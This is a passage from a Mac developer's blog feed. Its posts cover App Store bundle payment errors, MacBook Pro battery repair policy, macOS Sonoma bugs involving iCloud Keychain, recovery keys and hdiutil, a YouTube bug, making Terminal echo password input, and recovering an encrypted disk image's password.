Is the lump sum amount correct? Well, it's a suspiciously round number, ending in 300.00. Otherwise, though, it seems roughly correct, at least compared with my proceeds listed in App Store Connect Trends. Comparing the financial statements with the "trends" was how I discovered the discrepancy in the first place. But it's extremely difficult, if not impossible, to perform a precise comparison. The trends never seem to match exactly with the financial statements in the amount of proceeds—or even in the number of unit sales—for reasons that I don't fully understand. One difference I came to notice just yesterday is that the unit sales in trends seem to include both promo code redemptions and $0.00 free app downloads, whereas the unit sales in the financial statements seem to include promo code redemptions but completely ignore free apps. This makes it difficult to keep the numbers in sync. I know exactly how many promo codes I've distributed (almost exclusively to members of the news media), but App Store Connect doesn't have a specific category for listing the number of redeemed promo codes.

Another problem is that the lump sum adjustment to my April financial statement is entirely in US dollars, whereas the financial statements themselves are always broken down into different countries and currencies. All of the purchases in the financial statements are listed by country in its native currency and prices. The amounts are only seen in US dollars at the end, when the total proceeds for each country's App Store are transformed into the developer's currency using the current exchange rate. To perform a useful comparison, I would have to go through three months of financial statements country by country, line by line, figuring out what the correct price should have been in the country's currency, taking into account value added tax, as well as Apple's cut of my revenue, and then apply the exchange rates current in each month. It would be a nightmare, and I'm not sure that it would even be worth my time. By the way, there are 175 App Store countries or regions, though I don't have sales in all 175 every month. I'm satisfied that the lump sum payment is "close enough", and that's probably the best I can do, given the limited information provided to me by Apple. It's their store(s), not mine.

I consider the matter resolved, at least for me. I hope that other developers will also receive what's due to them. For any extra proceeds that you get paid this month, perhaps I should get a "Finder's fee" of 30%. Or 15% if you're a small developer! Anyway, if you sell app bundles in the App Store, check your financial reports.

As usual, Apple's communication with developers has been substandard. I recall the old chestnut from the App Store Review Guidelines: "If you run to the press and trash us, it never helps." In reality, it always helps, and that's why we do it. Maybe someday, Apple will assign me (and every App Store seller) a developer relations contact. Until that day, the media beatings will continue until my morale improves, and my income increases.

Feedback Assistant Boycott

]]>
Apple silicon MacBook Pro batteries can't be replaced under warranty by third parties https://lapcatsoftware.com/articles/2024/5/7.html 2024-05-30T14:00:00Z 2024-05-30T14:00:00Z I bought a new M1 MacBook Pro in April 2022. A little over two years later, I'm seeing a service recommended message, and the maximum capacity of the battery is now down to 78%. Admittedly, my MacBook Pro experiences heavy usage: basically all day, every day. The batteries in my previous 2014 Intel MacBook Pro, which experienced the exact same usage level, lasted over three years—I had to replace its battery twice!—but I don't recall what the maximum capacity was when I did the replacements, so it's difficult to compare.

The battery's capacity is significantly reduced. To restore capacity, please check your service options.

Yesterday I took the M1 MacBook Pro to my local Apple-authorized service provider that I've been going to for many years, who performed all of the work on my Intel MacBook Pro, including the battery replacements and a Staingate screen replacement. This is a third-party shop, not an Apple Store. To my utter shock, they told me that they couldn't replace the battery in-house, because starting with the Apple silicon transition, Apple now requires that the MacBook Pro be mailed in to Apple for battery replacement! What. The. Hell.

I can't be without my MacBook Pro for the indefinite period of time ensuing from mail-in repair. I'm the sole proprietor of my software business, and my MacBook Pro is my main machine. Everything is on there. As a Mac owner for over twenty years, I've always been able to arrange for same-day repair, dropping off the Mac in the morning and picking it up later in the day. The last time, due to Apple's increasing restrictions on Apple service providers, I had to pay an "emergency service fee" for the same-day repair, but I'm perfectly willing to do that. My time at the computer was worth more than the fee. This new nonsense about requiring mail-in repairs, however, is a step way over the line. It's outrageous, absurd! Apple's replacement "policy" harms Apple customers, harms third-party repair shops, and lacks any reasonable justification. I'm reminded of when Tim Cook admitted to Apple investors that easy iPhone battery replacement reduced iPhone sales:

While Greater China and other emerging markets accounted for the vast majority of the year-over-year iPhone revenue decline, in some developed markets, iPhone upgrades also were not as strong as we thought they would be. While macroeconomic challenges in some markets were a key contributor to this trend, we believe there are other factors broadly impacting our iPhone performance, including consumers adapting to a world with fewer carrier subsidies, US dollar strength-related price increases, and some customers taking advantage of significantly reduced pricing for iPhone battery replacements. [emphasis mine]

My MacBook Pro is currently covered by AppleCare+, so Apple would perform the battery replacement at no additional cost to me, if I mailed in the Mac. I asked my local shop if they could perform the battery replacement themselves out of warranty, without AppleCare. They said yes, but the part would cost about $600. Ugh. So I decided that for now I can live with the 78% maximum capacity. The battery life is noticeably shorter than when the Mac was new, but it's still pretty good.

Why $600? After all, the new batteries for my 2014 MacBook Pro cost only $200 each (not including labor). I didn't ask specifically why when I was in the shop yesterday, but I think I've discovered the reason now. I came upon an article by iFixit, Apple’s Self-Repair Program Manages to Make MacBooks Seem Less Repairable:

At the time of writing, Apple will not sell you a replacement MacBook Pro battery. They sell you a “Top Case with Battery and Keyboard.” And so their guide has you remove literally every component from the top case. The laptop is built on the top case, so to get to it, you’ve got to demanufacture the whole thing.

The procedure stretches to the very last page of a 162-page document, making it essentially a 162-page guide with multiple steps per page.

I checked Apple's Self Service Repair Store, and sure enough the top case with battery and keyboard for my MacBook Pro cost $615.12, although there is an $88 credit if you return the replaced part to Apple.

Top Case with Battery and Keyboard

I assume that the labor costs for installing the part would also be much higher than for my 2014 MacBook Pro battery replacement.

Incidentally, iFixit sells a $150 battery replacement kit for my MacBook Pro, which is simply a battery along with the tools needed to replace it, and their replacement guide is 58 steps, compared to Apple's 162-page guide, so apparently it is possible to replace the battery without replacing the entire top case. I don't know whether this replacement battery is an Apple part or a third-party part. And who knows which method Apple technicians are using to replace your battery when you mail in your Mac to them.

I long for the days when the MacBook Pro had a user-replaceable battery that could be swapped in a few seconds (not to mention a matte display). I continue to insist that the 2006 MacBook Pro was peak Apple hardware design. Apple silicon CPUs are nice, of course, but unfortunately for us, Apple has exploited the processor transition as an excuse to lock down the Mac in a number of abusive ways.

To quote iFixit again:

Battery replacement is pretty much the only guaranteed MacBook repair. Even if you never use the laptop, you’ll still need to replace the battery due to natural degradation.

Batteries are consumable, and just like your tires, they’re rated for a certain lifespan—heck, there’s a battery health menu item that says this outright. It’s a fact of our lithium-powered life.

It makes me extremely angry that Apple makes battery replacement so difficult and expensive.

By the way, in case you're wondering, this blog post is not an advertisement for iFixit. I'm not sponsored by iFixit, and in fact I've never bought anything from them either. I'm personally uncomfortable with performing my own hardware repairs and prefer that they be done by a professional technician. I just happened to find the relevant iFixit blog post while searching the web for my problem.

Feedback Assistant Boycott

]]>
Verify Your Recovery Key? https://lapcatsoftware.com/articles/2024/5/6.html 2024-05-29T14:20:00Z 2024-05-29T14:20:00Z Four days ago, I updated my MacBook Pro from macOS Ventura to Sonoma. Since then I've encountered several bugs. This morning, for no apparent reason, Sonoma System Settings decided to show me the warning, "Verify Your Recovery Key".

Sonoma System Settings

The warning includes some very scary text:

To avoid losing access to your account, verify your recovery key.

The text is unfortunately ambiguous: it doesn't say why you would lose access to your account. One possible interpretation is that if you lose your recovery key, then you won't be able to recover your Apple ID if it needs recovery. That would make this warning nonurgent, nonessential, paternalistic, and unnecessarily alarming. I know that my recovery key is stored in several secure locations, but any case I've never had to recover my Apple ID in the first place.

Another possible interpretation of the warning text is that Apple will take away your Apple ID if you don't verify your recovery key. This sounds harsh, but… who knows? Apple has neglected to explain the meaning of the warning or why it suddenly appears.

This is not the first time I've seen Verify Your Recovery Key. I actually saw it on my iPad way back in July 2023 after updating from iPadOS 17 beta 3 to beta 4, and in fact the warning still appears on my iPad today.

iPadOS 17 Settings

On July 25, 2023, I filed a Feedback with Apple, "iPadOS 17 beta 4 wants me to Verify Your Recovery Key" (FB12749748). The ultimate "Resolution" of that Feedback was "Investigation complete - Unable to diagnose with current information". Note that Apple never requested additional information from me.

A couple months later, after the release of macOS Sonoma, I noticed the same warning on my Mac mini, and I filed another Feedback, "Sonoma wants me to Verify Your Recovery Key" (FB13215060) on September 29, 2023. That Feedback remains open, with no updates.

I never tried to verify my recovery key on my Mac mini or my iPad, because I don't have my recovery key stored on my Mac mini or my iPad, and frankly, I was worried that the warning is some kind of bug that would ironically make me lose access to my Apple ID or reset my recovery key if I tried to "verify" it.

When I mentioned this issue on Mastodon, someone told me that they've seen the same warning, and verified their recovery key, but the warning eventually comes back anyway. Multiple times! It seems that there's no way to make the warning go away permanently.

I can just ignore the warning inside System Settings on my MacBook Pro, as I've been doing for months on my other devices, but the worst part about the bug is that it badges the Settings app icon, on both Mac and iPad. That I can't ignore, because System Settings is in my Dock.

System Settings Dock badge: 1

Feedback Assistant Boycott

]]>
macOS Sonoma bug: Can't create disk image containing locked file https://lapcatsoftware.com/articles/2024/5/5.html 2024-05-27T13:55:00Z 2024-05-27T13:55:00Z Two days ago I updated my main development Mac from Ventura to Sonoma. Besides the bugs already mentioned yesterday, I've found another new bug. This bug did not exist in Ventura and earlier. You can reproduce the bug via the GUI or Terminal.

  1. Create a new folder in Finder
  2. Create a new file, for example a text file, and save it in the new folder
  3. Select the new file in Finder and open the Get Info window (⌘I keyboard shortcut)
  4. In the Get Info window, lock the file with the Locked checkbox
  5. Open the Disk Utility app
  6. From the main menu, select File, New Image, Image from Folder…
  7. Choose the new folder
  8. Save the disk image

On Sonoma, I get "Operation failed with status 1: Operation not permitted", but it succeeds on Ventura and earlier.

And reproducing with Terminal:

% cd /Users/Shared
% mkdir test
% touch test/test
% chflags uchg test/test
% hdiutil create -format UDZO -srcfolder test -verbose test.dmg

This also fails on Sonoma but not on Ventura and earlier. (I used /User/Shared instead of, say, ~/Desktop to avoid any issues with TCC permissions.)

copying /Users/Shared/test to /Volumes/test
About to copy "/Users/Shared/test".
copy error (canceling): /Volumes/test/test: Operation not permitted
Copy finished with error 1 (Operation not permitted).

But creating the disk image succeeds on Sonoma if the uchg (user immutable) flag is removed. (See man chflags for details.)

% chflags nouchg test/test
% hdiutil create -format UDZO -srcfolder test -verbose test.dmg

Unfortunately, sudo hdiutil has the same problem with locked files and doesn't work either. Also ineffective are the -anyowners and -skipunreadable options. This is a really bad bug! I'm not aware of any workaround, other than unlocking the locked files.

I encountered this Sonoma bug while trying to make an encrypted backup of my home directory, which I do every day. It wasn't an issue on Ventura, but it's an issue now that I've updated to Sonoma. I'm terrified that this bug is also going to break my full disk backup method, which I've described before. That would cause a lot of problems for me, and I may come to rue the day that I installed Sonoma.

By the way, I've discovered a reference to the bug from back in December in the Apple Discussion Forums.

It's very frustrating that Apple keeps breaking things that used to work. This reminds me of the macOS Ventura 13.3.1 bug where hdiutil chpass silently failed with encrypted sparse bundles. That bug also caused me problems, and it wasn't ever fixed in Ventura, though it's now fixed in Sonoma. It doesn't help when a macOS update fixes one bug only to introduce another bug.

Feedback Assistant Boycott

]]>
macOS Sonoma silently enabled iCloud Keychain despite my precautions https://lapcatsoftware.com/articles/2024/5/4.html 2024-05-26T14:25:00Z 2024-05-26T14:25:00Z This is a follow-up to my blog post Updating from macOS Ventura to Sonoma silently enables iCloud Keychain. In the addendum to that blog post, I discussed a workaround, which was to delete my WiFi password right before rebooting into the updater. In a trial run on my M1 Mac mini, the workaround was successful.

Thankfully, iCloud Keychain remained disabled after I connected to WiFi again, and even after I rebooted, so this seems like a permanent solution!

The success of the trial run gave me the confidence to update my main development machine, an M1 MacBook Pro, from Ventura to Sonoma. Unfortunately, for unknown reasons, I experienced a different result the second time. As before, the workaround did successfully prevent Sonoma from connecting to my WiFi network. And as before, I confirmed in System Settings that iCloud Keychain was still disabled after the Sonoma update. However, after I finally connected to my WiFi network again, I discovered to my horror that Sonoma did then silently enable iCloud Keychain. My workaround was ultimately futile.

iCloud Passwords & Keychain: Sync this Mac

By the way, toggling off "Sync this Mac" caused System Settings to hang and eventually crash the preference pane, which also happened in one of my earlier trial runs. Has anybody inside Apple ever tested this scenario?

Settings Error: Extension process Apple ID exited.

On my Mac mini already running Sonoma, I saw a new warning in System Settings, "Some iCloud Data Isn't Syncing".

Your end-to-end encrypted data stored in iCloud can't be accessed on this device. It includes saved passwords and data from Health and Maps. Verify your account information to resume syncing.
Some iCloud Data Isn't Syncing

(It should be noted that I don't use Health or Apple Maps.)

Clicking the Resume Data Sync button made the warning go away and didn't enable iCloud Keychain on the Mac mini, but I don't know why I was getting the warning in the first place. I didn't see the same warning on my iPad, also signed into iCloud.

Another bit of Sonoma bugginess I experienced was a zombie keychain that could not be removed from the Keychain Access app.

System Keychains: Ventura

What happened was that after I noticed iCloud Keychain had been silently enabled on my MacBook Pro, I copied my login (non-system) keychain from one of my Ventura backups (of course I made redundant backups before updating to Sonoma), renamed it to "Ventura", and imported it into Keychain Access for the purpose of comparing the old and new login keychains, checking for data loss or other issues. Fortunately, I found no issues, so I deleted the imported Ventura keychain from Keychain Access. Nonetheless, the next time I launched Keychain Access, I found the above zombie keychain, misplaced under System Keychains, with all menu items disabled.

I was able to solve this problem by once again copying the old keychain file from backup and putting it in the same place on disk as before. Then the next time I launched Keychain Access, the Ventura keychain appeared enabled under the correct category of Custom Keychains instead of System Keychains, and on the second try I was able to delete the keychain permanently. But wow, none of my experience here inspires confidence in Apple's software quality, especially with regard to "security".

An unpleasant side effect of updating to Sonoma—as if there weren't enough unpleasant side effects already—is that logging into App Store Connect now offers passkeys as the default rather than passwords, despite the fact that I don't have any passkeys saved and indeed cannot save any passkeys with iCloud Keychain disabled. So now there are extra steps to login, and Apple makes you login again every time Safari is relaunched, because as I've blogged about multiple times, App Store Connect is the worst web site ever made.

App Store Connect: Passkey for this website

I'm currently working on a solution to this problem. I have noticed that the passkey option goes away if I spoof the browser User-Agent as Chrome.

You (a Borg) might ask, why don't I just "go with the flow", adopt iCloud Keychain and passkeys? (Resistance is futile. You will be assimilated.) On principle, I should not have to upload my data to Apple if I don't want. Apple advertises itself as the "privacy" company, but uploading user data to Apple's servers without notice or consent is a gross violation of privacy. I've always managed my data myself, taking personal responsibility for protecting it and backing it up. I don't want or need Apple to insert itself into this process as a remote nanny. Paternalism makes my blood boil.

Moreover, even if I wanted to use iCloud Keychain, why in the world should I trust the sync system to work correctly when faced with Apple's demonstrably poor software quality? Something else I noticed after updating to Sonoma: although I've tried many times in the past to extinguish it, the text replacement omw has once again returned, almost like a cicada.

System Settings Text Replacements: On my way!

Feedback Assistant Boycott

]]>
Updating from macOS Ventura to Sonoma silently enables iCloud Keychain https://lapcatsoftware.com/articles/2024/5/3.html 2024-05-19T19:05:00Z 2024-05-26T14:24:00Z This is not a new issue. It was discovered last year, and it also affects updating from iOS 16 to iOS 17. As far as I'm aware, I'm the first to have noted the issue publicly:

The latest iPadOS beta seems to have silently enabled iCloud Keychain.

(Although I don’t actually have any passwords on the iPad.)

Jul 25, 2023

Later, after iOS 17 and macOS 14 were released, the issue was publicized by the security researcher Mysk:

If you've never enabled iCloud Keychain and recently upgraded to iOS 17, chances are good that your passwords are now stored on #Apple servers. As confirmed by many users, #iOS17 secretly turns iCloud Keychain on. This video shows the entire process step by step: Video

Oct 2, 2023

More context from Mysk: Sep 27, 2023 Oct 09, 2023 Oct 10, 2023

I've discovered today that unfortunately this issue—this bug, I would call it, though who knows whether Apple considers it a bug or "expected behavior"—still exists with the latest versions of macOS Ventura and Sonoma, 13.6.7 and 14.5 respectively.

My main development machine, a 2021 M1 MacBook Pro, is still on Ventura, but I plan to update it soon to Sonoma in preparation for Apple's Worldwide Developer Conference (WWDC) in June, because the new WWDC beta version of Xcode will undoubtedly require the latest version of macOS, as usual. Nowadays, Xcode is the only thing that drags me kicking and screaming to the latest and worst version of macOS. However, I remembered the iCloud Keychain bug and was wary of it, so I decided to do a trial run on an external hard drive to see whether the bug was still there, and sadly it was. The external drive had a macOS Ventura 13.6.7 boot volume with iCloud enabled but iCloud Keychain disabled. After updating the volume to macOS Sonoma 14.5, iCloud Keychain was enabled. (I then disabled iCloud Keychain, which actually caused System Settings to hang and eventually crash, but afterward iCloud Keychain did seem to be disabled.)

I generally try to avoid "cloud" services, because they've proven untrustworthy in terms of both reliability and privacy. I avoided iCloud entirely for many years. Ultimately, though, I caved in and enabled iCloud in order to add iCloud sync to my browser extension StopTheMadness, because my customers kept requesting it. Money talks. Nonetheless, I still don't use iCloud for any of my personal data, only for development purposes, so I have most iCloud settings disabled, including iCloud Keychain. While I do trust the inherent security of iCloud Keychain to keep my passwords encrypted, I don't trust iCloud Keychain to sync reliably. Moreover, the user interface of iCloud Keychain is totally opaque, which I find totally unacceptable. And the recent issue with deleted photos reappearing certainly doesn't inspire confidence in iCloud.

What I'd like to do is update from Ventura to Sonoma without an internet connection, giving Sonoma no chance to upload my passwords or other data to iCloud before I can disable iCloud Keychain. However, I haven't found a way to do that. Even though I ran softwareupdate --download first in Terminal, and even though I disabled System Integrity Protection (SIP) to allow any version of macOS to boot my Mac, softwareupdate --install still refused to install with my wifi disabled. I may have to perform some more trial runs, perhaps disconnecting my wifi router after macOS reboots into the updater. Hopefully that won't brick my Mac! We used to be able to update macOS and Mac OS X without an internet connection, so it's frustrating, not to mention a violation of privacy, that Apple now requires Macs to phone home to Cupertino.

You might wonder why I don't sign out of iCloud before I update from Ventura to Sonoma. It turns out that there's no point in that, due to another bug, "Signing out of iCloud and signing back in again forgets all of your previous iCloud settings" (FB12168173), which I also discovered last year. Apple's "resolution" of this bug was "Investigation complete - Unable to diagnose with current information". Incidentally, Apple silently resolved this issue without asking me for more information. They don't seem to care.

Addendum: Success!

On my second trial run, I managed to find a way to update from Ventura to Sonoma without an internet connection. My "mistake" in the first trial run was to use softwareupdate --install --restart, which automatically restarts if required to complete the installation. In the second trial, I omitted the --restart argument. When softwareupdate is ready/done it just sits there in Terminal without prompting you, so you'll need to take the initiative. After successfully running softwareupdate --install, I disabled Wifi, opened System Settings, and deleted my WiFi password from Network settings. You can confirm that the password is gone by checking keychain and also by calling nvram -p | grep preferred-networks in Terminal to make sure the WiFi password is not available to the recovery volume. After that, I simply rebooted, and the Mac automatically goes into install mode.

When the update was done, macOS Sonoma automatically enabled both WiFi and Bluetooth, but it wasn't connected to WiFi, because it didn't have the password. (macOS and iOS automatically re-enable Bluetooth after every software update.) Curiously, iCloud Keychain was not enabled, so I'm guessing that perhaps it tries to enable iCloud Keychain and falls back to disabled if it fails. Thankfully, iCloud Keychain remained disabled after I connected to WiFi again, and even after I rebooted, so this seems like a permanent solution!

Now I need to go back and reinstall Ventura on my Mac mini (where I ran the second trial), because I still need a Ventura test volume. Sigh.

Addendum May 26, 2024: Failure!

See my follow-up for a sad update.

Feedback Assistant Boycott

]]>
Apple started cheating me out of App Store bundle purchases https://lapcatsoftware.com/articles/2024/5/2.html 2024-05-10T13:35:00Z 2024-05-16T00:50:00Z TL;DR I've discovered that starting in February, Apple mistakenly subtracts the price of the previously purchased app twice from the proceeds of a "Complete My Bundle" purchase, thereby causing me to take a loss on each such bundle purchase. This accounting change has cost me thousands of dollars over the past few months.

Update: May 15 2024

This evening I received a phone call from an Apple representative. I was told that there was indeed a software bug in the bundle pricing calculation, which was fixed yesterday. I was also told that affected developers such as myself would be compensated for our lost revenue, and I'll receive a follow-up email later.

I would characterize the Apple representative and our conversation as pleasant and friendly, and I'm glad that the problem seems to have come to a good resolution. Thanks to Daring Fireball and Apple Insider for highlighting this blog post!

The purpose of this blog post is to raise awareness about the issue, for the benefit of both myself and other developers who sell app bundles in the App Store. I'll begin with some background. In December I released StopTheMadness Pro, a major upgrade to my web browser extension StopTheMadness. Since the App Store unfortunately does not support paid upgrades, I decided to use app bundles as a workaround. In the iOS App Store there's a StopTheMadness Pro Mobile Upgrade Bundle that includes two apps, the new StopTheMadness Pro and the old StopTheMadness Mobile; in the Mac App Store there's a corresponding StopTheMadness Pro Upgrade Bundle including StopTheMadness Pro and the old StopTheMadness for Mac. The base price of each app bundle is $14.99 USD, the same as the price of StopTheMadness Pro itself. Customers who already own the old StopTheMadness can "Complete My Bundle" to purchase StopTheMadness Pro for a discount: the price they pay for the app bundle is $14.99 minus the price they already paid for StopTheMadness. For example, the current price of StopTheMadness Mobile is $9.99, so the price to Complete My Bundle and get StopTheMadness Pro would be $5.

Apple's accounting for Complete My Bundle purchases has always been a bit strange. In the App Store Connect monthly financial reports, there are two line items for each purchase, one for the bundle and one for the previously purchased app. The bundle is listed as an addition to my proceeds, while the previously purchased app is listed as a subtraction from my proceeds, effectively a refund. The amount of the refund is the price that the customer originally paid for the old StopTheMadness, which can vary from customer to customer, because the price of StopTheMadness has varied over the years. Apple's cut of the proceeds also factors into the additions and subtractions; the App Store Small Business Program cut is currently 15%, though the old 30% cut still applies to the refund amount of old StopTheMadness purchases that occurred before the Small Business Program existed.

In the December and January financial reports, everything "worked as expected". A purchase of the StopTheMadness Pro Mobile Upgrade Bundle was listed as 12.74 (85% of 14.99), and the corresponding StopTheMadness Mobile refund was listed as, for example, -8.49 (85% of a 9.99 refund). When all of the line items are combined, I made a $4.25 profit from that transaction (85% of $5).

Something strange started to happen in the February financial report, though, and this strangeness has continued into the March and April reports. (The April proceeds have not yet been paid out to developers.) There are still two line items, and the "refund" line item remains the same, showing the full price (less Apple's cut, as always) of StopTheMadness Mobile subtracted from the proceeds. But the bundle line item has changed: now, instead of 12.74, it lists the price that the customer actually paid to Complete My Bundle (less Apple's cut). So for example, if there's a -8.49 refund line item for StopTheMadness Mobile, the corresponding StopTheMadness Pro Mobile Upgrade Bundle line item is 4.25 instead of 12.74. In other words, the price of the original purchase of StopTheMadness Mobile is subtracted twice from the proceeds, once in the refund line item and once in the bundle line item. As a result, I've actually lost $4.24 on that purchase ($4.25 - $8.49). In other words, instead of Apple paying me for selling an app bundle in the App Store, I'm paying Apple! These losses are subtracted from my total proceeds for the month. If my sales consisted only of Complete My Bundle purchases, I would end up owing Apple money at the end of the month! Obviously, that's wrong, and crazy.

You might suspect that I'm confused, and Apple has simply shifted things around in the report, for example into a third StopTheMadness Pro purchase line item. But I've gone through every line item in the monthly financial reports. Every discounted bundle purchase has a corresponding refund line item, so they can be matched up, and all of the numbers in the line items add up to my total proceeds. Moreover, if a bundle purchase also now counted as a full StopTheMadness Pro purchase, then it would still be wrong, because I'd be making too much money instead of too little, i.e., $12.74 + $4.25 - $8.49 = $8.50 proceeds on a transaction where I should only receive $4.25 proceeds.

I know that I'm making too little money rather than too much money because my actual recent payments from Apple are significantly smaller than the estimated proceeds over the same period in the Trends section of App Store Connect, which is how I noticed the issue in the first place, triggering my detailed investigation. I found that the estimated unit sales in Trends were about the same as the unit sales in the financial reports, despite the large disparity in proceeds. This is what led me to scrutinize every line item in the reports, where I found what appears to be an accounting error, a double subtraction from my proceeds.

Last night, after running all of these calculations, staying up much later than I wanted, I contacted Apple Finance about the issue. I received an automated message stating that they would respond within three business days (unfortunately with the weekend coming up). I'm going public now, however, because I think other developers should know about this issue. Also, I have a decision to make: should I remove my upgrade bundles from the App Store? I continue to lose money from every Complete My Bundle transaction. Hopefully Apple will do the right thing in the end, and pay me what I should have earned, but who knows whether they will, or how long that would take. I would hate to take away the upgrade path from previous customers, but what I hate more is to run my business at a loss! I should not have to subsidize the world's most profitable corporation for the benefit of our mutual customers.

My trust in Apple is shaken. In the App Store, Apple has all the cards, handling all of the financial transactions with customers. App Store developers have no direct relationship with their customers. I've had little choice but to trust that Apple is paying me the amounts that I'm due. Yesterday I looked back at all of my proceeds since 2017 when I started doing business in the App Store, and it does appear that the amounts of Apple's payments to me have pretty closely corresponded to the estimated proceeds in App Store Connect Trends (if you can trust those numbers) up until February 2024. Only the past few months have been problematic. Still, a corporation with the financial resources and financial responsibilities of Apple should not make such a fundamental accounting error. It's inexcusable. And if "Complete My Bundle" purchases were not such a big portion of my current proceeds, I might have never discovered the error.

Feedback Assistant Boycott

]]>
YouTube video quality bug in iOS Safari https://lapcatsoftware.com/articles/2024/5/1.html 2024-05-09T13:25:00Z 2024-05-09T13:25:00Z How do I report a YouTube bug? I don't know, so I'm going to blog it. Steps to reproduce:

  1. In Safari on iPhone or iPad, open the Apple “Let Loose” video: https://m.youtube.com/watch?v=f1J38FlDKxo

  2. Pause the video

  3. Open Playback Settings

  4. Select Quality 2160p

  5. Press OK

The spinner spins indefinitely, and the video doesn't play again. Below is a video demonstrating the bug.

I've seen the bug affect a number of other videos such as https://m.youtube.com/watch?v=wWoQ7PFSYlk on the YouTube Explore page.

Feedback Assistant Boycott

]]>
Show passwords as they're typed in Terminal https://lapcatsoftware.com/articles/2024/4/4.html 2024-04-17T16:40:00Z 2024-04-17T16:40:00Z After I posted my funny story of how I recovered the password of an encrypted Mac disk image, I received an email from a reader of the blog, who schooled me on some UNIX. Believe it or not, I don't know everything; know-it-all is just a character that I play on the web. I'd like to express my thanks and appreciation for this blog post to "hym3242", if that is your real name!

According to its man page, "The stty utility sets or reports on terminal characteristics for the device that is its standard input." Among those characteristics are the local mode flags (lflags), which "affect various and sundry characteristics of terminal processing", and among the local mode flags is the echo flag.

echo (-echo) Echo back (do not echo back) every character typed.

The echo flag is set by default, as you can see with stty -e

speed 9600 baud; 58 rows; 210 columns;
lflags: icanon isig iexten echo echoe -echok echoke -echonl echoctl
	-echoprt -altwerase -noflsh -tostop -flusho pendin -nokerninfo
	-extproc

I'm not sure I believe the 9600 baud part though. The 1980s are calling, and they want their modem back.

Anyway, a "secure" password prompt, for example from hdiutil, is simply the result of temporarily disabling the echo flag. To see this, first call tty to get the name of the terminal, typically /dev/ttys000. Then call hdiutil to create an encrypted disk image, and wait for the password prompt. Finally, open a new Terminal window and call stty -ef /dev/ttys000 to get the lflags of the hdiutil window.

speed 9600 baud; 58 rows; 210 columns;
lflags: icanon isig iexten -echo echoe -echok echoke -echonl echoctl
	-echoprt -altwerase -noflsh -tostop -flusho -pendin -nokerninfo
	-extproc

The echo flag has changed to -echo.

To re-enable the echo flag, just call the following command.

stty -f /dev/ttys000 echo

And now you can see your password as you type! You may have to do this twice if hdiutil asks you to confirm your password.

]]>
Funny story of how I recovered the password of an encrypted Mac disk image https://lapcatsoftware.com/articles/2024/4/3.html 2024-04-09T17:25:00Z 2024-04-09T17:25:00Z This is a story about so-called "secure" password entry that doesn't allow you to see the password you're typing. Back in 2009 I filed a report with Apple—a "Radar" as it was called at the time, now called a "Feedback"— requesting a standard way to show typing in secure text fields. My report, my Feedback (FB5392624), is still open 15 years later, and the problem that inspired the report still haunts me 15 years later.

I keep redundant backups of the data from my main computer, a MacBook Pro. Hourly automated backups are run by Apple's Time Machine, built into macOS. Once a day, I create a manual encrypted backup of my home folder and upload it to a remote server. Once a week, I create a manual encrypted backup of the entire Data volume on my MacBook Pro. Recent versions of macOS are divided on disk into a read-write Data volume and a read-only System volume. There's not much point in making a backup of the System volume, because it's exactly the same on every Mac. My Data volume backup is saved on an external hard drive that is subsequently taken by me to a secure offsite location. To make the backup, I boot the MacBook Pro into the macOS recovery volume, mount the Data volume, attach an external hard drive (with a dongle, of course), and run the following command from Terminal:

caffeinate -im hdiutil create -encryption -format UDSB -srcfolder /Volumes/Data -noatomic -noscrub -verbose -puppetstrings -volname [volume name] [output file path]

The caffeinate invocation is from hard experience: without it, my Mac can fall asleep during the backup! (FB11120333 "hdiutil should prevent sleep".) The -im arguments prevent the system and the external hard disk from idle sleeping (man caffeinate). The rest of my backup format is explained in a previous blog post.

My Mac mini, a secondary computer for testing, has a plain text copy of the above command-line snippet so that I can read it while typing into Terminal on my MacBook Pro, visually comparing the output. The hdiutil password, though, uses secure text entry. To avoid invisible typos that would make it impossible for me to decrypt the backup, I enter a very short and simple password while booted into recovery, and then when the backup is complete, I boot back into macOS and use hdiutil chpass to change the disk image password to something much longer and more secure.

One little snag in the plan is that my MacBook Pro runs macOS Ventura, which has a bug that breaks hdiutil chpass for encrypted sparse bundles, my disk image format (-format UDSB) of choice! This bug has been well documented by Howard Oakley. Fortunately, my Mac mini has four different macOS installations, from Big Sur, in which the bug never existed, to Sonoma, in which the bug is fixed, so I can (have to) run hdiutil chpass from there.

Here's where things get funny. Yesterday after a weekly backup, I ran hdiutil chpass on the disk image, switched the external hard drive from my Mac mini to my MacBook Pro, and ran hdiutil attach on the disk image to verify it. When hdiutil attach authentication failed, I was annoyed but not concerned, because I assumed that I made a typo manually entering the unseen password. However, after a half dozen failures, each typed slower than the previous attempt, I started to worry. As a last resort, normally unnecessary just for hdiutil attach, I copied my disk image password from keychain and pasted it. Yet that didn't work either!

It became painfully clear that I accidentally used the wrong password with hdiutil chpass. Thus, I didn't know the new disk image password. Desperate not to lose the backup, I switched to my Mac mini, praying that whatever I had pasted into hdiutil chpass was still on the system pasteboard. To see for myself, I pasted into TextEdit and got this:

2024-4-8.sparsebundle

The TextEdit document contained the file name of the backup, momentarily confusing me. I guessed that the file name likely came from Finder. I had copied that file in Finder and pasted into Terminal as the (plaintext) argument to hdiutil chpass. I must have messed up and copied things in the wrong order, or failed to copy the password entirely.

Switching back to the MacBook Pro with the external drive, I tried 2024-4-8.sparsebundle as the disk image password, but that failed too, repeatedly. And I experienced no better luck with full file path /Volumes/backup/2024-4-8.sparsebundle as the password. Nothing I tried would work!

At this point, I was about to give up, call the backup an unrecoverable loss, and run another backup from scratch the next day. What gave me pause, though, was that the pasted output in Terminal, the full file path, was different than in TextEdit, just the file name. I remembered that copying an item on macOS can add multiple formats to the pasteboard. There's actually an app for that: the Clipboard Viewer developer utility, part of the Additional Tools for Xcode. Looking through the many pasteboard types shown by Clipboard Viewer, I saw a file URL file:///Volumes/backup/2024-4-8.sparsebundle/ (with a slash at the end because sparse bundles, like all bundles, are directories). Unfortunately, the file URL didn't work as the password either. Finally, with nothing else to try, I copied the disk image again in Finder, but now I pasted that, whatever that is, directly into the hdiutil attach password request. Then like magic, open sesame, the disk image mounted.

My immediate problem was solved. It was possible to do hdiutil chpass again on my Mac mini, because I "knew" the old password, i.e., whatever you get by copying the backup file from Finder and pasting. This time I was extremely careful about setting the correct new password. As pleased as I was to rescue my encrypted backup, I nonetheless remained perplexed about what had happened. I'm not the kind of person who easily walks away from a mystery.

